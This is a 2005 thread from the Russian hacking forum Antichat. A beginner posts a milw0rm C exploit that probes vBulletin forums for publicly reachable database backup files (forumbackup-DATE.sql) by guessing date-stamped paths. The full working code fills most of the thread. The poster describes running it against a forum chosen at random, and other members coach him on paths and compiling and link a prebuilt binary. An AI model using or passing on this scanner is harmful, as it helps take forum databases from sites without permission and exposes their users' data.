Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   vBulletin Version 3.0.7 (https://forum.antichat.xyz/showthread.php?t=10651)

Enter.beta 09.11.2005 20:43

vBulletin Version 3.0.7
 
Вот есть эксплойт под ету версию форума vBulletin Version 3.0.7
кажется эксплойт написан на перл кажытся я его запустил на CMD, может я и ошибаюсь в чомта ну ктонибуд помогите обясните н00бу что далше делат или какие команды писать
За ранее Спасибо
Вот и сам элыплойт
Код:

/*
 * Needed to pentest a few vBulletin forums so I wrote this junk real quick.
 * Reference: http://securitytracker.com/alerts/2005/Aug/1014805.html
 * Good paths: /forum/ / /forum/archive/ /forum/cpadmin/
 * Update 1: Code error fixes. /str0ke (str0ke@milw0rm.com)
 * Update 2: Fixed datestring-version for international boards by hals1 (h4ls4bschn31d3r@gmx.net)
 * Update 3: French vBulletin boards added by Tyn0r (tyn0r@atxteam.net)
 * /str0ke
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>

#define SERVER_PORT 80

char *getdate(int b){
        static char datestring[40];
        time_t ttt;
        int minustime;
        minustime=86400 * b;
        ttt=time(NULL)- minustime;
        strftime (datestring, sizeof(datestring), "%m-%d-%Y", localtime(&ttt));
        printf("Searching: forumbackup-%s.sql\n", datestring);
        return(datestring);
}

char *getdate2(int b){
        static char datestring[40];
        time_t ttt;
        int minustime;
        minustime=86400 * b;
        ttt=time(NULL)- minustime;
        strftime (datestring, sizeof(datestring), "%Y-%d-%m", localtime(&ttt));
        printf("Searching: forumbackup-%s.sql\n", datestring);
        return(datestring);
}

char *getdate3(int b){
        static char datestring[40];
        time_t ttt;
        int minustime;
        minustime=86400 * b;
        ttt=time(NULL)- minustime;
        strftime (datestring, sizeof(datestring), "%d-%m-%Y", localtime(&ttt));
        printf("Searching: forumbackup-%s.sql\n", datestring);
        return(datestring);
}

char *getdate4(int b){
        static char datestring[40];
        time_t ttt;
        int minustime;
        minustime=86400 * b;
        ttt=time(NULL)- minustime;
        strftime (datestring, sizeof(datestring), "%m.%d.%Y", localtime(&ttt)); // hals1
        printf("Searching: forumbackup-%s.sql\n", datestring);
        return(datestring);
}

char *getdate5(int b){
        static char datestring[40];
        time_t ttt;
        int minustime;
        minustime=86400 * b;
        ttt=time(NULL)- minustime;
        strftime (datestring, sizeof(datestring), "%Y.%d.%m", localtime(&ttt)); // hals1
        printf("Searching: forumbackup-%s.sql\n", datestring);
        return(datestring);
}

char *getdate6(int b){
        static char datestring[40];
        time_t ttt;
        int minustime;
        minustime=86400 * b;
        ttt=time(NULL)- minustime;
        strftime (datestring, sizeof(datestring), "%d.%m.%Y", localtime(&ttt)); // hals1
        printf("Searching: forumbackup-%s.sql\n", datestring);
        return(datestring);
}

char *getdate7(int b){
        static char datestring[40];
        time_t ttt;
        int minustime;
        minustime=86400 * b;
        ttt=time(NULL)- minustime;
        strftime (datestring, sizeof(datestring), "%d%m%Y", localtime(&ttt)); // Tyn0r
        printf("Searching: forumbackup-%s.sql\n", datestring);
        return(datestring);
}

main(int argc, char *argv[]) {

 char buffer[1000],host[255],path[255],dog[255],c;
 int sd, rc, i=0, d=0, b;
 struct sockaddr_in localAddr, servAddr;
 struct hostent *h;

char *http =
        "Accept: */*\r\n"
        "Accept-Language: en-us,en;q=0.5\r\n"
        "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
        "User-Agent: we want your backups - milw0rm\r\n"
        "Connection: close\r\n\r\n";

if ( argc != 5) {
                printf("vBulletin <= 3.0.8 Accessible Database Backup Searcher /str0ke ! milw0rm.com\n");
                printf("usage: %s -h hostname/ip -p /path/ \n",argv[0]);
                exit(0);
}


 while ((c = getopt (argc, argv, "h:p:")) != EOF)
      switch(c)
      {
              case 'h':
                      strncpy(host,optarg,sizeof(host));
                      break;
              case 'p':
                      strncpy(path,optarg,sizeof(path));
                      break;
      }

 h = gethostbyname(host);
 
 if(h==NULL) {
  printf("Unknown Host '%s'\n",host);
  exit(1);
 }

 printf("Trying To Connect To [%s]\n",host);
 while(1){
 servAddr.sin_family = h->h_addrtype;
 memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
 servAddr.sin_port = htons(SERVER_PORT);
 sd = socket(AF_INET, SOCK_STREAM, 0);
 
 if(sd<0) {
  perror("Can Not Open The Socket\n");
  exit(1);
 }

 localAddr.sin_family = AF_INET;
 localAddr.sin_addr.s_addr = htonl(INADDR_ANY);
 localAddr.sin_port = htons(0);

 rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr));
 
 if(rc<0) {
  printf("%d: cannot bind port TCP %u\n",sd,SERVER_PORT);
  perror("error ");
  exit(1);
 }

 rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));

 if(rc<0) {
  perror("cannot connect\n");
  exit(1);
 }
  memset(buffer,0,sizeof(buffer));

  if ( d == 0 ) {
  snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate(i),host,http);
  } else if ( d == 1 ) {
  snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate2(i),host,http);
  } else if ( d == 2 ) {
  snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate3(i),host,http);
  } else if ( d == 3 ) {
  snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate4(i),host,http);
  } else if ( d == 4 ) {
  snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate5(i),host,http);
  } else if ( d == 5 ) {
  snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate6(i),host,http);
  } else if ( d == 6 ) {
  snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate7(i),host,http);
  }

  rc = send(sd,buffer, strlen(buffer), 0);
  memset(buffer,0,sizeof(buffer));

while(1)
      {
      rc=recv(sd,buffer,sizeof(buffer),0);
      if(strstr(buffer,"404")) break;
      if(strstr(buffer,"200 OK"))
              {
              if ( d == 0 ) {
              printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate(i));
              }
              if ( d == 1 ) {
              printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate2(i));
              }
              if ( d == 2 ) {
              printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate3(i));
              }
              if ( d == 3 ) {
              printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate4(i));
              }
              if ( d == 4 ) {
              printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate5(i));
              }
              if ( d == 5 ) {
              printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate6(i));
              }
              if ( d == 6 ) {
              printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate7(i));
              }
              exit(0);
              }
      memset(buffer,0,sizeof(buffer));
      }
close(sd);

if ( d < 6 ) {
        d++;
} else {
        d=0;
        i++;
}
}
}

// milw0rm.com [2005-08-31]


k1b0rg 09.11.2005 20:57

ну наверное так http://site.ru /forum/ / /forum/archive/ /forum/cpadmin/
любой из этих строк.
наскока я понял, он использует уязвимость и ищет бекапы баз данных?
написан на сишке

Enter.beta 09.11.2005 21:32

да иммено так во а я и неподумал что Good paths: /forum/ / /forum/archive/ /forum/cpadmin/
что это означает соманду щас проверим
Спасибо если кто ещё может чо подсказать пишите

//edit

чота не пашет =/
вот взял первый попавшыйся форум вот что делал и нифига не работает

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Enter>cd\

C:\>Perl\bin\perl.exe C:\test.pl
Quantifier follows nothing in regex; marked by <-- HERE in m/* <-- HERE
* Needed to pentest a few vBulletin forums so I wrote this junk real quick.
* Reference: http:/ at C:\test.pl line 3.

C:\>Perl\bin\perl.exe C:\test.pl http://vsyachina.com.ru /forum///forum/archive/
/forum/admincp/
Quantifier follows nothing in regex; marked by <-- HERE in m/* <-- HERE
* Needed to pentest a few vBulletin forums so I wrote this junk real quick.
* Reference: http:/ at C:\test.pl line 3.

C:\>

max_pain89 10.11.2005 00:14

Цитата:

написан на сишке
это тебе о чем-нибуть говорит????

k1b0rg 10.11.2005 00:44

ну, во первых, я же сказал на сишке написан, чо ты его к perl прикручиваешь.
скачай какойнить компилятор си, хз попробуй этот чтоли http://kobeluga.narod.ru/tc.rar
во вторых
/forum/
/
/forum/archive/
/forum/admincp/
это папки пробуй по одной а не всей кучей
в третьих, наскока процентов окажется что админ сохранил бекап форума именно сюда, я не знаю, по крайне мере ни разу не встретил, таких админов, которые сюда бекапят базы.
удачи тебе

w4rd3n 10.11.2005 01:08

Скиньте компиленный...
Просто по определенным причинам нет компилятора...

m0nzt3r 10.11.2005 13:47

воть берите http://m0nzt3r.nm.ru/vbulletin спасибо потом скажете=))
Цитата:

Сообщение от Enter beta
C:\>Perl\bin\perl.exe C:\test.pl

чувак ты даешь... это же СИШНИК!!

Enter.beta 10.11.2005 14:40

Цитата:

Сообщение от m0nzt3r
воть берите http://m0nzt3r.nm.ru/vbulletin спасибо потом скажете=))

чувак ты даешь... это же СИШНИК!!

Na znaju ja znaju ja ne zametil cto napisali cto eto C bilo

Mozno takoj voprosik cto s etim txt failom delat, pereimenovat v exe? :D
Sorry za to cto ja n00b no v etom ja ne silion
MI php programisti :)

Sorry za trnslit v mojej shkole net ruskoj klavi

m0nzt3r 11.11.2005 00:23

Есля у тя юникс запускаешь ./exploit а если не юникс придется использовать шелл если он у тя есть...и не надо переименовывать во чтото..

Enter.beta 11.11.2005 01:57

ок, сорри но как исползовать шелл можно на какую статью направить?
я понимаю что это полный н00бизм что я тут устрол просто этим я обычно не занимаюсь, и мы все с чегото начинали


Время: 11:05